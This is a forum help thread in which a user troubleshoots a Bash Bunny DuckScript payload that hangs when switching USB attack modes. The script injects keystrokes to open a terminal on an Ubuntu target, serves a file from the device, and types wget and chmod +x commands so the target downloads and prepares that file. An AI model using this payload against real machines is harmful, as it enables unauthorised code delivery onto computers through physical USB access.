Jump to content

Cannot change "ATTACKMODE HID" to "...HID ECM_ETHERNET" in script


fiftyup
Go to solution Solved by dark_pyrro,

Recommended Posts

Hey all!

I'm having issues starting my payload in ATTACKMODE HID, then switching to ATTACKMODE HID ECM_ETHERNET. When I do this, my DuckScript pauses for ~20 seconds, then continues the DuckScript without connecting to my BB, so I'm unable to download/wget a file from the BB.

Context:  I need to start in "HID" to get the default network interface to perform a tcpdump (BB becomes the new default interface when in ECM_ETHERNET mode). Target is Ubuntu 14.04 on a laptop.

Any guidance?

LED SETUP

ATTACKMODE HID

GET SWITCH_POSITION
GET HOST_IP
GET TARGET_IP

cd /root/udisk/payloads/$SWITCH_POSITION/

LED SPECIAL

### Open terminal
Q CTRL-ALT t
Q DELAY 2000

Q STRING "iface=\$(route | grep '^default' | grep -o '[^ ]*\$')"
Q ENTER
Q DELAY 500
Q STRING echo \$iface
Q ENTER
Q DELAY 2000

####################################
#### SCRIPT HANGS AT THIS POINT ####
####################################
ATTACKMODE HID ECM_ETHERNET

# start BB server
iptables -A OUTPUT -p udp --dport 53 -j DROP
python -m SimpleHTTPServer 80 &

# wait until port is listening
while ! nc -z localhost 80; do sleep 0.2; done

LED ATTACK

### Get file
Q STRING wget "http://$HOST_IP/file"
Q DELAY 1500
Q STRING chmod +x file
Q ENTER
Q DELAY 150

 

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...